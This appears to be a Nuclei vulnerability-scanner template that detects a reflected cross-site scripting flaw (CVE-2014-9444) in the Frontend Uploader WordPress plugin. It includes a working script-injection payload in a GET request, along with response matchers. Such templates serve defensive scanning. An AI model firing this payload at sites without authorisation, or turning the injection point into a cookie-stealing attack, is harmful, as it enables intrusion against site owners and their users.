id: CVE-2014-9444

info:
  name: Frontend Uploader <= 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Frontend Uploader WordPress plugin prior to v.0.9.2 was affected by an unauthenticated Cross-Site Scripting security vulnerability.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via a crafted file name, leading to potential session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the Frontend Uploader plugin (0.9.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f0739b1e-22dc-4ca6-ad83-a0e80228e3c7
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9444
    - http://packetstormsecurity.com/files/129749/WordPress-Frontend-Uploader-0.9.2-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-9444
    cwe-id: CWE-79
    epss-score: 0.06701
    epss-percentile: 0.93063
    cpe: cpe:2.3:a:frontend_uploader_project:frontend_uploader:0.9.2:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: frontend_uploader_project
    product: frontend_uploader
    framework: wordpress
  tags: cve2014,cve,wp-plugin,xss,wpscan,packetstorm,wordpress,unauth,frontend_uploader_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202e8832bca9245a8385d9e9e0e464c04bc2af2b6c91e68305a91a843100b90144022100866b2b9866422e31a0e0d3cfc5c8e20d6fe0f4128a06269d4277f45a5b379df5:922c64590222798bb761d5b6d8e72950